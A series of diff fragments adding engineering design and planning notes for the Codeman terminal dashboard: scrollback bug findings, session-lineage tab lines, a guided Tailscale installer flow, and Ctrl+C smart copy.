+(`history_size` kept growing, `history-limit` 2000), so the data is never actually lost
+server-side, it just never reaches the browser again until a reload.
+
+---
+
+## Finding 3: switching tabs collapses a session's scrollback
+
+`_initialFullBufferLoad` is true for the **first buffer load after a page load only**
+(`app.js:4374`). Everything after that uses `?tail=`, which returns byte history plus the
+visible pane frame. Worse, the snapshot restore path deliberately throws away the restored
+xterm snapshot (which does carry scrollback) and replaces it with that frame
+(`app.js:4316-4328` plus `needsRewrite`).
+
+Measured, switching away from session A and back:
+
+```
+A: initial full=1 load           {"len":152,"baseY":116,"AAA":150}
+A: after switch away and back    {"len": 87,"baseY": 51,"AAA": 59}
+```
+
+150 lines of history down to 59. Note also that the page's single `full=1` is consumed by
+whichever session auto-selects at load, so **every other tab starts life with one frame of
+history**.
+
+---
+
+## Finding 4: `deltaMode` is never read (Firefox)
+
+`grep -rn "deltaMode" src/web/public packages` returns nothing. `_wheelScrollLines()`
+(`terminal-ui.js:2818`) treats `deltaY` as pixels unconditionally:
+
+```js
+return Math.round(delta / 25) || (delta > 0 ? 1 : -1);
+```
+
+Chrome/WebKit report `deltaMode: 0` with `deltaY` around 100 to 120 px per notch, so about 4
+to 5 lines. Firefox reports `deltaMode: 1` (`DOM_DELTA_LINE`) with `deltaY` around 3, so
+`Math.round(3/25) === 0` and the `|| ±1` fallback yields **1 line per notch**, roughly 4x
+slower. In Claude mode the same value caps the forwarded SGR report at 1 tick per event
+instead of 4, so the transcript crawls too.
+
+This is sluggishness, not breakage, so it is a plausible but unproven contributor to the
+mtiller report. No Firefox build is installed under `~/.cache/ms-playwright` (chromium and
+webkit only), so this was not measured. Worth asking the reporter for `deltaMode` / `deltaY`
+from a live wheel event before acting on it.
+
+---
+
+## Finding 5: remote SSH Claude cases still have no version probe
+
+`src/session.ts:1490` deliberately skips the deterministic `claude --version` probe for
+remote sessions and defers to the startup-banner scrape, which the same comment block
+describes as unreliable ("newer Claude Code builds don't print the banner and resumed sessions
+never show it"). That is precisely the condition #154 was filed for: `cliVersion` empty means
+`_shouldForwardWheelToApp()` returns false, wheel forwarding is off, and the user is left with
+local scrollback that (per finding 2) does not accumulate.
+
+Local and Docker Claude sessions are fine; verified all 7 live sessions report
+`cliVersion=2.1.223`, so the 1.3.3 fix is still working there.
+
+---
+
+## Candidate directions (not decided)
+
+Roughly in order of value per unit of risk.
+
+1. **Extend the alternate-screen strip to tmux-backed `shell` / `opencode` / `antigravity`.**
+   Gate on `_useMux` so the direct-PTY fallback keeps vim/less/htop working. Kills the phantom
+   Up arrows and makes replayed history reachable. `isAltScreenStripMode()` currently takes
+   only `mode`, so it would need the mux flag threaded in, and
+   `test/claude-scrollback-strip.test.ts:16-17` plus `test/antigravity-mode.test.ts:116` pin
+   the current answers and would need updating.
+
+2. **Re-pull `?full=1` when the user scrolls to the top of the buffer.** Directly addresses
+   findings 2 and 3 with machinery that already exists and is already proven to return
+   complete history (200/200 lines in the probe). Needs a guard against refetch storms.
+
+3. **Stop discarding the xterm snapshot on tab switch**, or request `full=1` on the first load
+   per session rather than per page. Cheaper partial fix for finding 3 alone.
+
+4. **Read `ev.deltaMode`** in `_wheelScrollLines()` and normalise line/page deltas to lines.
+   Small, self-contained, worth doing regardless of whether it is mtiller's actual bug.
+
+5. **Probe the CLI version over SSH for remote Claude cases**, mirroring the deferred
+   in-container probe that Docker cases already use.
+
+Option 1 alone does not fix #205's "print a bunch of lines then scroll" complaint; that needs
+2 as well.

 - **Import is untrusted‑bundle‑safe** — `/api/docker-cases/import` validates the manifest + per‑member SHA‑256 before extraction, rejects absolute / `..` tar members (traversal guard), and re‑tags the loaded image into a quarantined namespace so it can never overwrite `codeman/agent:base` or a pre‑existing tag.
 - **Host guard & the bridge‑hooks listener** — in‑container hook callbacks carry `Host: host.docker.internal` / `host.containers.internal`; both are on the always‑on host‑header allowlist (`DOCKER_HOST_GATEWAY_ALIASES`) and resolve to the host only from inside a container netns, so they are not a browser DNS‑rebinding surface. On a loopback‑only server, in‑container hooks are opt‑in via `CODEMAN_DOCKER_BRIDGE_HOOKS=1`, which binds a SECOND listener on the docker bridge gateway serving **only** the hook endpoints (every other path → `403`) into the same hook‑secret‑gated pipeline. The bridge is host‑internal (containers + host), not the LAN, so it does not widen network exposure; the hook secret is bind‑mounted read‑only and referenced by path.

+# Session lineage lines (spawn lines between tabs)
+
+**Goal:** when a session spawns another session (the `codeman` agent skill starting a
+worker, or anything else that says who it is), draw the same kind of glowing connection
+line the subagent windows already use, but **tab → tab**, so a glance at the strip shows
+which tab spawned which.
+
+Status: PLAN. Nothing implemented yet.
+
+---
+
+## 1. The blocking fact: no parent relationship exists today
+
+There is no spawn-parent link between sessions anywhere in the codebase:
+
+- `SessionState` (`src/types/session.ts:388`) has no `parentSessionId` / `spawnedBy` /
+  `createdBy`.
+- `POST /api/quick-start` and `POST /api/sessions` record only `owner = ownerFor(req)`,
+  which is the multi-user **human**, not the calling session.
+- The only parent links that do exist are `TeamConfig.leadSessionId` (agent teams) and
+  `subagent-parents.json` (a frontend **window-layout** store for subagent windows).
+  Neither says "session A spawned session B".
+- Nothing in the HTTP request identifies the caller: an agent's spawn call is plain
+  `curl` from inside a tmux pane, so there is no socket-level identity to recover
+  (`SO_PEERCRED` needs a unix socket; the API is TCP).
+
+So the caller has to **tell** us. It already knows its own id: every managed pane gets
+`CODEMAN_SESSION_ID` exported by `session-cli-builder.ts` (and the skill's §0 preamble
+already binds it to `$SELF`).
+
+## 2. Wire format
+
+Two ways in, because they serve different callers. Body wins when both are present.
+
+| Where | Shape | Who uses it |
+| --- | --- | --- |
+| body field | `"parentSessionId": "<uuid>"` | anything hand-writing one create call |
+| request header | `X-Codeman-Parent-Session: <uuid>` | the skill: added **once** to the `CURL` array in the §0 preamble, so every present and future create call carries it with no per-recipe edit |
+
+Rules, all of them deliberate:
+
+- **Advisory decoration only.** It never grants access, never scopes anything, never
+  affects lifecycle. A child is not killed when its parent dies; the line just stops
+  being drawn once the parent tab is gone.
+- **Never fails a spawn.** An unknown / stale / foreign parent id is silently dropped
+  (field ends up `undefined`), not a `400`. A cosmetic field must not be able to break
+  worker creation.
+- **Resolved, not trusted.** The id must match a live session the caller can already
+  see (`canAccessOwned`), and the resolved parent's `owner` must equal the new
+  session's `owner`. Otherwise a user could staple their session under another user's
+  tab in multi-user mode.
+- Exact id match first; a `>= 8`-char **unique** prefix match as a fallback (ids appear
+  truncated in mux names and UI surfaces; ambiguous prefixes resolve to nothing).
+
+## 3. Server changes
+
+| File | Change |
+| --- | --- |
+| `src/types/session.ts` | `SessionState.parentSessionId?: string` with a doc comment saying it is UI decoration and never a permission signal |
+| `src/session.ts` | constructor option `parentSessionId` → `_parentSessionId`, public getter, emitted from `toState()` (~line 1170) |
+| `src/web/schemas.ts` | `parentSessionId: z.string().max(100).optional()` on `CreateSessionSchema` (272) and `QuickStartSchema` (680). Neither is `.strict()`, so this is additive |
+| `src/web/route-helpers.ts` | new `resolveParentSessionId(ctx, req, bodyValue, owner)` implementing §2's rules; returns `string \| undefined`, never throws |
+| `src/web/routes/session-routes.ts` | pass it into the three `new Session({...})` sites: `POST /api/sessions` (846), `POST /api/run` (2522), `POST /api/quick-start` (2896) |
+| `src/web/server.ts` | recovery path (~2617): `parentSessionId: savedState?.parentSessionId` so the link survives a restart |
+
+**No new SSE event.** `session_created` / `session_updated` broadcast
+`getSessionStateWithRespawn(session)`, which is `toState()`-derived, so the field rides
+along to the browser for free — and the frontend already does
+`this.sessions.set(data.id, data)`, so `session.parentSessionId` is simply there.
+
+Optional follow-up: surface it on `/api/sessions/unified` rows so the Session Manager
+and the home rails can show "spawned by w3-claudeman".
+
+## 4. Frontend rendering
+
+### 4.1 Where the code goes
+
+`_updateConnectionLinesImmediate()` (`subagent-windows.js:242`) is a strict
+**batched read → batched write** pass, and it already has an extension point:
+ultracode appends its own layer via `_appendUltracodeConnectionLines(svg, rects)` at
+the end, sharing the `rects` cache so no layer forces a second reflow.
+
+Lineage lines follow that exactly: a new module `src/web/public/session-lineage.js`
+(load order 15.6, after `ultracode-windows.js`) exporting
+`_appendLineageConnectionLines(svg, rects)` onto `CodemanApp.prototype`, called from the
+same tail. **The core function keeps ownership of the read/write split**; the new layer
+only reads through the shared `rects` map and only appends paths.
+
+The path math itself lives in `constants.js` as a pure
+`computeLineagePath(parentRect, childRect, stripRect, depth)` — same treatment as
+`computeTabScrollLeft`, so the geometry is unit-testable without a browser.
+
+### 4.2 Geometry
+
+Both endpoints are tabs in one horizontal strip, so the subagent shape (tab-bottom →
+window-top) does not apply. **One case**, a **U-bridge hanging below the strip** that
+touches both tabs on their bottom edge:
+
+```
+y0 = max(parent.bottom, child.bottom)
+d  = clamp(14 + |x2 - x1| * 0.085, 22, 104) + depth * 8 + |child.bottom - parent.bottom|
+path: M x1 parent.bottom  C x1 y0+d, x2 y0+d, x2 child.bottom
+```
+
+`depth` is the child's index among its siblings, so several children of one parent
+**nest** instead of overprinting.
+
+> **Superseded (2026-08-14): the two shapes this section used to specify.** The dip was
+> `clamp(14 + span * 0.06, 16, 44) + depth * 6`, and a wrapped strip
+> (`tabs-two-rows` / `tabs-auto-wrap`) got its own parent-bottom → child-**top** bezier.
+> Both were tuned against two tabs side by side and failed at the distances the feature
+> is used at:
+>
+> - a skill worker is appended to the **end** of the strip, so the real span is
+>   800-1500px, where a 44px cap is a 33px sag, i.e. a line that reads as straight and
+>   crosses the terminal instead of bracketing under the strip;
+> - and when the strip wraps, parent-bottom (34) to child-top (48) leaves **14px** to
+>   bend in, so the arc was a flat line hidden in the row gap, with siblings drawn on
+>   top of each other. Reported as *"they connect already, but the lines are straight
+>   and not easy visible"*.
+>
+> Anchoring both ends at the tab bottoms and hanging the control points below the
+> **lower** row gives the wrapped case the same bracket as the flat one, and removes the
+> branch. Pinned by `test/session-lineage-lines.test.ts`.
+
+A small `<circle r="3.5">` at the child end marks direction (it breathes to 4.5 while that worker is busy) (an SVG `marker` would need a
+`<defs>` block and fights `stroke-dasharray`).
+
+Each path gets `class="connection-line lineage-line"`, `data-parent-tab`,
+`data-child-tab`, and `data-agent-id="lineage:<childId>"` — that last one is what makes
+the existing entrance machinery (`markConnectionLineEntering` / `_applyLineEntrances`,
+keyed on `data-agent-id`) work on these lines with **zero** new animation code,
+including the negative-`animation-delay` resume across the `svg.innerHTML = ''` rebuild.
+
+### 4.3 Clipping
+
+`.session-tabs` is `overflow-x: auto`, so a tab scrolled out of the strip still has a
+rect — one that lies outside the strip box and would draw an arc across the logo or the
+header buttons. **Skip any edge whose parent or child center falls outside
+`stripRect` (4px tolerance).** Skipping is honest; clamping would draw a line to a tab
+that is not there.
+
+### 4.4 Redraw triggers
+
+`updateConnectionLines()` already coalesces through `scheduleBackground`, so extra
+callers are cheap. Needed:
+
+- `_fullRenderSessionTabs()` — already calls it (app.js:3912). Free.
+- `_renderSessionTabsImmediate()` — does **not**. A badge appearing widens a tab and
+  moves every tab after it, which slides the arcs off their anchors. Add the call,
+  guarded on `this._lineageEdgeCount > 0` so nobody pays for it without the feature.
+- **strip `scroll`** (passive listener on `#sessionTabs`) — the arcs must track the
+  scroller. This is new; no existing line layer needed it.
+- window `resize` — piggyback the throttled handler in `terminal-ui.js:930`.
+- `_onSessionCreated` — `markConnectionLineEntering('lineage:' + data.id)` so a new
+  child draws in **if** the user has a line-entrance theme on (all entrance styles are
+  `legacy`/off by default, so this is a no-op for an untouched install).
+
+### 4.5 Styling
+
+`.connection-line.lineage-line`: blue stroke from the per-skin `--session-blue` token
+(violet until 2026-08-14, changed because it lost contrast against the terminal's own
+dim foreground the moment the arc crossed text),
+`stroke-width: 2.5`, `dasharray 5 5`, `opacity: .72` (`.95` while the child works),
+softer than the subagent lines so the two layers still read as different things now that
+hue no longer separates them (shape does most of that work: a lineage arc hangs under the
+strip and never reaches a window), but the contrast against the terminal comes from a
+**second, wider glow** rather than more weight, because the first
+cut (2px / `4 4` / `.55` / one 5px glow) disappeared into terminal text on a real 1080p
+desktop. `lineage-flow` marches by two dash cycles, so it moves with the dash array
+(`5 5` → `-20`). Trap to respect: the skin block nests under
+`html:not([data-skin="og"])`, so a bare `.lineage-line` rule inside it would outrank the
+base rule at higher specificity. **Define the color as a token per skin, keep exactly
+one `.lineage-line` rule.** Light skins get a darker stroke.
+
+Optional signal worth having: `.lineage-line--working` (a slow `stroke-dashoffset`
+march) only while the **child** session is working, wrapped in
+`prefers-reduced-motion: no-preference`. Static otherwise — a permanently marching line
+per tab pair is noise and battery.
+
+### 4.6 Desktop only, and why
+
+The SVG overlay is `z-index: 999`. On desktop the header is `z-index: 100`, so arcs
+paint **over** the header and can touch tab bottoms. Under 1024px `mobile.css` makes the
+header `position: fixed; z-index: 1200`, which would **bury** the arcs — and the phone
+strip is a scroller where both endpoints are rarely on screen together anyway. So the
+layer returns early unless `MobileDetection.getDeviceType() === 'desktop'`.
+
+Raising the SVG to ~1250 (above the fixed header, below modals at 1300) is a possible
+phase 2, but it needs a real check against the mobile overview and the drawer.
+
+### 4.7 Setting
+
+`sessionLineageLines`, **per-device** — so it goes in the `displayKeys` set in
+`settings-ui.js` and must **not** be added to `SettingsUpdateSchema` (`.strict()`;
+sending an undeclared key fails the whole PUT). Rendered as a switch in
+App Settings → Appearance, beside the entrance-animation pickers.
+
+**Default: ON for desktop** (phones never render it). This is the one deliberate
+departure from the "new visual surfaces ship OFF" convention — the feature is the
+request, and a user with 12 unrelated tabs has a one-click off switch. Flag for the
+owner if the convention should win instead.
+
+## 5. Optional extras (call them separately, none are required)
+
+1. **Order children after their parent** in `sessionOrder` on create, so arcs stay short
+   and the strip reads as a tree. Real cost: it renumbers the Alt+N badges and moves
+   tabs under the user's cursor, so it should be its own toggle, default OFF.
+2. **Lineage hover focus**: hovering a tab dims unrelated arcs and brightens its own
+   subtree.
+3. **"Spawned by" in the Session Manager / home rails**, once `parentSessionId` is on
+   the unified rows.
+4. **Inherited tab tint**: children pick up a faded version of the parent's tab color.
+
+## 6. Tests
+
+- `test/session-lineage.test.ts` (route-level, `app.inject`): round-trips through
+  `POST /api/sessions` + `POST /api/quick-start`, header path, body-wins-over-header,
+  unknown id dropped without failing the spawn, cross-owner parent dropped in
+  multi-user, field present in `GET /api/sessions` and persisted state.
+- `test/session-lineage-lines.test.ts` (jsdom, pure): `computeLineagePath` — same-row U,
+  wrapped-row bezier, sibling nesting depth, off-strip skip, degenerate zero-width rects.
+- Browser check (not in `test:ci`): spawn two workers with a parent, assert two
+  `path.lineage-line` elements anchored to the right tabs, then scroll the strip and
+  assert they moved.
+- Existing guards that must stay green: `test/mobile-header-buttons-policy.test.ts`
+  (nothing new on phones), `test/app-settings-structure.test.ts` (the new switch pairs
+  with its rail section).
+
+## 7. Skill side (owned by the release session, not this plan)
+
+One line in the `codeman` skill's §0 preamble covers every spawn recipe:
+
+```bash
+CURL=(curl -sk "${AUTH[@]}" -H "X-Codeman-Parent-Session: $SELF")
+```
+
+plus a `CODEMAN_PREAMBLE` version bump so stale cached preambles fail loudly instead of
+silently spawning unparented workers. Recipes that build a create payload by hand can
+alternatively send `"parentSessionId":"'"$SELF"'"`.
+
+## 8. Docs to update when it lands
+
+`CLAUDE.md` (a Key Patterns bullet), `docs/architecture-invariants.md` (new anchor: the
+resolve-don't-trust rule, the desktop-only z-index reason, the shared `rects` pass),
+`docs/api-reference.md` (the new field + header on the create endpoints).

+# Tailscale Setup in the Installer (Plan)
+
+Goal: make "Codeman over Tailscale, with real HTTPS" a first-class, guided path in
+`install.sh`, instead of a one-line hint pointing at the docs. Today the safest
+recommended deployment (loopback bind + `tailscale serve`) is exactly what the
+maintainer's own prod runs, but a new user has to discover and wire it by hand.
+The installer should do it for them.
+
+Status: IMPLEMENTED (2026-08-04). `install.sh` carries the 3-way network
+prompt, the guided Tailscale flow, and the `tailscale` subcommand; README,
+`docs/security-architecture.md` section A, and CLAUDE.md are updated. Verified
+live on the maintainer's prod host: `install.sh tailscale` took the idempotent
+kept-as-is path against the existing serve mapping (recognizing the legacy
+`https+insecure://` target), verified `https://<node>.ts.net/api/status`
+end-to-end, and left `tailscale serve status` byte-identical. Items 1-4, 7,
+and 10-12 of the manual matrix below still need a fresh machine to exercise.
+
+## Why this is low-hanging fruit
+
+Everything on the app side already works; this is almost purely installer UX:
+
+- `.ts.net` is already in `DEFAULT_TRUSTED_HOST_SUFFIXES`
+  (`src/web/network-auth-policy.ts`), so the always-on Host/Origin guard accepts
+  `tailscale serve` traffic with zero configuration. No `CODEMAN_ALLOWED_HOSTS`
+  needed.
+- The loopback bind is the server default and prints no warning; nothing to
+  acknowledge, no `CODEMAN_PASSWORD` strictly required (the tailnet is the auth
+  boundary; Tailscale authenticates the device before a packet ever reaches us).
+- `tailscale serve` terminates TLS with a real Let's Encrypt certificate for
+  `<node>.<tailnet>.ts.net`. That gives users valid HTTPS with no self-signed
+  cert warnings, and (because it is a proper secure context) working service
+  worker, PWA install, and web push on phones. This is strictly better than
+  `codeman web --https` for remote access.
+- SSE and WebSockets work through serve (proven by prod:
+  `https://tnode.tailf80371.ts.net` fronting `127.0.0.1:3000` daily).
+- `docs/security-architecture.md` section "A. Tailscale serve (recommended)"
+  already documents this as the preferred setup; the installer just does not
+  implement it.
+
+## UX design
+
+### 1. The network-access prompt grows a Tailscale option
+
+`choose_network_binding()` (install.sh:1051) currently offers two choices. New
+menu, with Tailscale first when it can be recommended:
+
+```
+  Network access
+
+  How should the Codeman dashboard be reachable?
+
+    1) Tailscale (recommended)
+       Private VPN access from your phone/laptop, real HTTPS,
+       no password needed. Works from anywhere, not just your Wi-Fi.
+    2) Any device on your network (0.0.0.0)
+       Open it straight from your phone or laptop on the same Wi-Fi.
+       Less safe: set a password so only you control your agents.
+    3) This machine only (127.0.0.1)
+       Safest. Reach it remotely via Tailscale or a tunnel later.
+```
+
+Choice mapping:
+
+- Option 1 = bind `127.0.0.1` (unchanged server posture) + configure
+  `tailscale serve`. Internally it is option 3 plus the serve setup, so all
+  existing binding plumbing (`BIND_HOST`, service files, `read_existing_binding`)
+  is untouched.
+- Options 2 and 3 behave exactly as today (renumbered).
+- Default choice: 1 when tailscale is installed and logged in, or when an
+  existing serve mapping for our port is detected; otherwise keep today's
+  defaults (1 -> 2, 2 -> 3 renumbering, preserving the "existing setup wins"
+  rule). If tailscale is not installed, option 1 is still shown (the installer
+  offers to install it), but the default stays on the current behavior so a
+  bare Enter never pulls in new software.
+- Password: after choosing Tailscale, offer the password prompt as optional
+  defense in depth with default skip ("the tailnet already authenticates your
+  devices; add one anyway?"). No `BIND_ACK` needed since the bind is loopback.
+
+### 2. The Tailscale flow (state machine)
+
+New `setup_tailscale_access()` runs after the binding choice, before service
+setup, handling each state in order:
+
+1. **Not installed.**
+   - Linux: offer to run the official installer
+     (`curl -fsSL https://tailscale.com/install.sh | sh`), which handles all
+     distros and enables `tailscaled` at boot. This mirrors our own
+     curl-pipe-bash story and avoids maintaining per-distro logic like the six
+     `install_cloudflared_*` functions.
+   - macOS: do not auto-install (the GUI app needs an interactive login).
+     Offer `brew install --cask tailscale` when brew exists, else print the
+     download link, then wait-and-retry or let the user skip.
+   - Declined install => fall back to plain loopback (option 3 behavior) and
+     print how to redo this later (`install.sh tailscale`, see below).
+2. **Installed but logged out** (`tailscale status --json` ->
+   `.BackendState == "NeedsLogin"` or `"Stopped"`).
+   - Run `tailscale up` (via `run_as_root` if needed). It prints an auth URL
+     that works headless (user opens it on any device). Poll
+     `.BackendState == "Running"` with a friendly spinner + timeout; on
+     timeout, skip gracefully with re-run instructions.
+3. **Running: grant operator (Linux).** `sudo tailscale set --operator=$USER`
+   so serve configuration (now and in the future) does not need root. Skip
+   silently if we are already operator (probe: `tailscale serve status`
+   exits 0) or sudo is declined; fall back to `run_as_root tailscale serve ...`.
+4. **HTTPS availability check.** `.CertDomains` empty or
+   `.CurrentTailnet.MagicDNSEnabled == false` means the tailnet has not enabled
+   MagicDNS / HTTPS certificates. Print the exact two toggles with the admin
+   URL (https://login.tailscale.com/admin/dns: enable MagicDNS, then enable
+   HTTPS Certificates), then offer "I enabled it, re-check" / "skip for now".
+   No silent HTTP fallback: the pitch is real HTTPS, and a plain-HTTP serve
+   would break the PWA/push story. Skipping falls back to loopback + re-run
+   instructions.
+5. **Existing serve config check** (`tailscale serve status --json`).
+   - Already proxying to our port (443 -> `127.0.0.1:$PORT`): keep it, report
+     it, done. Re-running the installer must be idempotent.
+   - Port 443 occupied by a DIFFERENT target: never clobber it. Ask whether to
+     replace it or skip. (Prod itself has a second serve on :5000; blind
+     `tailscale serve reset` would destroy user config. NEVER use `reset`.)
+6. **Configure.** `tailscale serve --bg $PORT` where `$PORT` is the install's
+   Codeman port (default 3000; honor a preset `CODEMAN_PORT`). Serve targets
+   plain HTTP on loopback; TLS terminates at tailscaled with the real cert.
+   The `--bg` config persists in tailscaled state across reboots, so no extra
+   service unit is needed.
+   (Note: do NOT combine this with `codeman web --https`; that is what forces
+   the awkward `https+insecure://` proxy target prod historically used. New
+   installs should keep Codeman on plain HTTP behind serve.)
+7. **Verify end-to-end.** Derive the URL from `.Self.DNSName` (strip the
+   trailing dot) and curl `https://<dnsname>/api/status` after the service is
+   up, retrying for ~30s: the first request can be slow while the Let's
+   Encrypt cert is issued. Print success with the URL, or the observed error
+   with `tailscale serve status` output on failure. This follows the "always
+   test before claiming it works" rule; a blind "done!" is not acceptable.
+
+### 3. Closing summary and security notice
+
+- The final summary gains a "Remote Access (Tailscale)" block, printed above
+  the cloudflared block, showing the actual URL:
+
+  ```
+    Remote Access (Tailscale):
+      https://tnode.tailf80371.ts.net    (any device on your tailnet, HTTPS)
+      tailscale serve status             # inspect
+  ```
+
+- `print_security_notice()` third branch (loopback) gets a variant: when a
+  serve mapping for our port is detected, lead with "reachable on your tailnet
+  at https://... (HTTPS, tailnet-only)" instead of the generic "do ONE of"
+  list. Detection is dynamic (query `tailscale serve status --json` at print
+  time), no marker persisted anywhere: tailscaled's own state is the single
+  source of truth, so external changes never drift against a stale flag.
+
+### 4. Standalone entry point: `install.sh tailscale`
+
+Add a `tailscale` subcommand next to `update` / `uninstall` in the existing
+dispatch. It runs `setup_tailscale_access()` against the already-installed
+service (reads the port from the service file, requires an existing install).
+This serves:
+
+- existing installs that predate the feature,
+- users who picked "this machine only" and changed their mind,
+- every "skip for now" branch above, all of which print this exact command.
+
+One implementation, two entry points. No separate `scripts/tailscale-setup.sh`
+(unlike cloudflared, there is no long-running process for a `tunnel.sh`-style
+start/stop wrapper to manage; tailscaled owns the lifecycle).
+
+### 5. Non-interactive / automation
+
+- `CODEMAN_TAILSCALE=1` presets choice 1 (analogous to presetting
+  `CODEMAN_HOST`). In non-interactive runs it only proceeds through states
+  that need no human (already installed + logged in + HTTPS-enabled tailnet);
+  anything requiring interaction (login URL, admin-console toggle, replacing a
+  foreign serve mapping) warns and falls back to loopback. It never installs
+  tailscale non-interactively.
+- `CODEMAN_NONINTERACTIVE=1` with an existing serve mapping: preserve it, same
+  "never silently loosen/change" policy as `read_existing_binding`.
+- Document both in the header comment block of install.sh (the env-var
+  reference at the top) and in the README.
+
+## Edge cases and decisions
+
+| Case | Decision |
+| ---- | -------- |
+| macOS GUI app without `tailscale` on PATH | `get_tailscale_path()` helper mirroring `get_cloudflared_path()`: check PATH, then `/Applications/Tailscale.app/Contents/MacOS/Tailscale`. All calls go through it. |
+| Tailnet HTTPS certs disabled | Guided admin-console instructions + re-check loop; skip falls back to loopback. Never configure plain-HTTP serve. |
+| Port 443 serve exists for another app | Prompt replace/skip; never `tailscale serve reset` (destroys unrelated mappings). |
+| First cert issuance latency | Verify step retries ~30s and says why the first load may be slow. |
+| `tailscale up` needs auth | Print the auth URL prominently, poll with timeout, skip gracefully. Works headless. |
+| Custom `CODEMAN_PORT` | Serve target uses the actual port; `install.sh tailscale` re-reads it from the service file. |
+| Funnel (public internet) | OUT OF SCOPE for v1. If ever added it must mirror the tunnel guard: refuse without `CODEMAN_PASSWORD` (`isUnauthenticatedNetworkAcknowledged`). Funnel exposes to the whole internet and is a different risk class than tailnet-only serve. Mention `tailscale funnel` in docs only, with the password warning. |
+| Uninstall | Best effort: if `serve status --json` shows 443 proxying to our port, run the targeted `tailscale serve --https=443 off` (still accepted by current CLIs); if the CLI rejects it, print manual instructions. Never touch other mappings, never uninstall tailscale itself. |
+| User already fronting Codeman some other way (reverse proxy etc.) | The serve check only looks at tailscale state; other proxies are invisible and unaffected (same stance as the loopback-exemption note in security-architecture). |
+
+## What does NOT change
+
+- Server code: no changes required. Host guard already trusts `.ts.net`,
+  loopback bind is already the default, SSE/WS already work through serve.
+- The two existing binding options and their semantics, `read_existing_binding`
+  preservation, and the LAN+password flow.
+- `scripts/tunnel.sh` / cloudflared support (stays as the "no Tailscale
+  account" alternative).
+- The security model: this feature only ever narrows exposure (loopback +
+  authenticated overlay), never widens it.
+
+## Files touched (implementation inventory)
+
+| File | Change |
+| ---- | ------ |
+| `install.sh` | New: `check_tailscale`, `get_tailscale_path`, `tailscale_status_field` (jq-free JSON field extraction; the installer cannot assume jq: use `sed`/`grep` like existing helpers or `tailscale status --json` piped to `node -e` since node is guaranteed post-install), `offer_install_tailscale`, `ensure_tailscale_login`, `ensure_tailscale_operator`, `ensure_tailnet_https`, `setup_tailscale_serve`, `verify_tailscale_access`, `setup_tailscale_access` (orchestrator). Modified: `choose_network_binding` (3-way menu), summary block, `print_security_notice`, subcommand dispatch (`tailscale`), `uninstall` (targeted serve removal), header env-var docs (`CODEMAN_TAILSCALE`). |
+| `README.md` | Remote-access section: promote the Tailscale path with the one-liner and `install.sh tailscale`; keep the tailscale-IP HTTP note for non-serve users but recommend serve + HTTPS. |
+| `docs/security-architecture.md` | Section A gains "the installer can set this up for you" + `install.sh tailscale` pointer. |
+| `CLAUDE.md` | One line in Scripts & Tunnel: installer offers Tailscale setup (`install.sh tailscale` to redo). |
+| `test/` | No unit tests possible for interactive bash + a live tailnet; guard with `shellcheck install.sh` (already the norm) and the manual matrix below. |
+
+## Manual test matrix (before release)
+
+1. Linux + tailscale absent: install offered, declined => loopback fallback + hint.
+2. Linux + tailscale absent: install accepted => full flow => URL verified.
+3. Logged out => auth URL flow => Running => serve configured.
+4. Tailnet with HTTPS certs disabled => guided instructions => re-check => success; and the skip branch.
+5. Re-run installer with serve already configured => idempotent, preserved, reported.
+6. Second serve mapping on another port present => untouched (prod-like state).
+7. Port 443 already proxying another target => replace/skip prompt honored.
+8. `install.sh tailscale` on an existing loopback install (the retrofit path).
+9. `CODEMAN_NONINTERACTIVE=1` re-run => preserves everything, no prompts.
+10. macOS (Mac mini `arbbot` box): GUI-app CLI path detection + full flow.
+11. Uninstall removes only our 443 mapping, leaves others.
+12. Phone check: PWA install + push from the `https://*.ts.net` origin.
+
+## Release
+
+Changeset: `minor` (new documented installer capability + new `CODEMAN_TAILSCALE`
+env var). The feature is installer-only, so it ships with zero risk to running
+servers; `install.sh update` does not invoke the new flow (updates never rewrite
+access config), only fresh installs and the explicit `install.sh tailscale`
+subcommand do.

+# Terminal smart copy (Ctrl+C) plan
+
+Issue: [#211](https://github.com/Ark0N/Codeman/issues/211) "Terminal: Ctrl+C should copy when text is selected (interrupt otherwise)".
+Origin: r/selfhosted feedback, "Biggest stumbling block is apparent lack of copy-paste in the terminal."
+
+Status: **implemented and shipped** on 2026-08-05 (this document is kept as the rationale record). It was first served as an isolated beta over Tailscale for manual sign-off, then landed. Section 2 is the research that shaped the design, sections 4 to 6 describe what was built.
+
+---
+
+## 1. What the issue asks for
+
+- Text selected in the terminal + `Ctrl+C` -> copy the selection, toast, clear the selection, do NOT send the byte to the PTY.
+- No selection + `Ctrl+C` -> unchanged, the interrupt (`0x03`) reaches the PTY.
+- `Ctrl+Shift+C` as an explicit copy chord.
+- The selection check must run before the shortcut registry dispatch so a rebind cannot cost the user their interrupt key.
+- Paste is out of scope (it already works via `Ctrl+V`, which terminal-ui.js routes to the image/text paste trap).
+
+## 2. Verified current behavior
+
+### 2.1 xterm cancels the Ctrl+C keydown, so no copy can happen
+
+`src/web/public/vendor/xterm.min.js` (xterm 6.x), `_keyDown`:
+
+```js
+_keyDown(x){ if(this._keyDownHandled=!1, this._keyDownSeen=!0,
+  this._customKeyEventHandler && this._customKeyEventHandler(x)===!1) return !1;
+  ... evaluateKeyboardEvent(...) ... this.cancel(x) ... }
+```
+
+Two consequences that shape the design:
+
+1. The custom handler runs **first**, before xterm evaluates the key. Returning `false` exits before `cancel(x)`, so returning `false` does **not** call `preventDefault()` for us.
+2. When the handler returns `true`, xterm turns Ctrl+C into `0x03` and cancels the event, which is why the browser's own copy command never runs.
+
+Probe (headless chromium against an isolated server on port 3174, selection active, real focus on `.xterm-helper-textarea`, synthetic Ctrl+C keydown):
+
+```json
+{ "hasSelection": true, "defaultPrevented": true, "dataSeen": ["\"\\u0003\""],
+  "clipboardAfter": "SENTINEL-BEFORE", "stillHasSelection": false }
+```
+
+So today: interrupt byte sent, clipboard untouched, and xterm drops the selection anyway. The last point matters, "copy then clear the selection" is not a behavior change in how the selection feels, it is what already happens on any keypress.
+
+### 2.2 Why right-click Copy works today
+
+xterm registers a `copy` listener on its root element that substitutes the selection text:
+
+```js
+this._register(addDisposableListener(this.element,"copy",(k=>{ this.hasSelection() && copyHandler(k,this._selectionService) })))
+```
+
+Second probe (port 3175, real `page.keyboard.press('Control+c')`, custom handler patched to return `false` for Ctrl+C without `preventDefault`):
+
+```json
+{ "dataSeen": [], "copyEvents": ["xterm-element"],
+  "clipboardAfter": "native-copy-probe-line\n...", "stillHasSelection": true }
+```
+
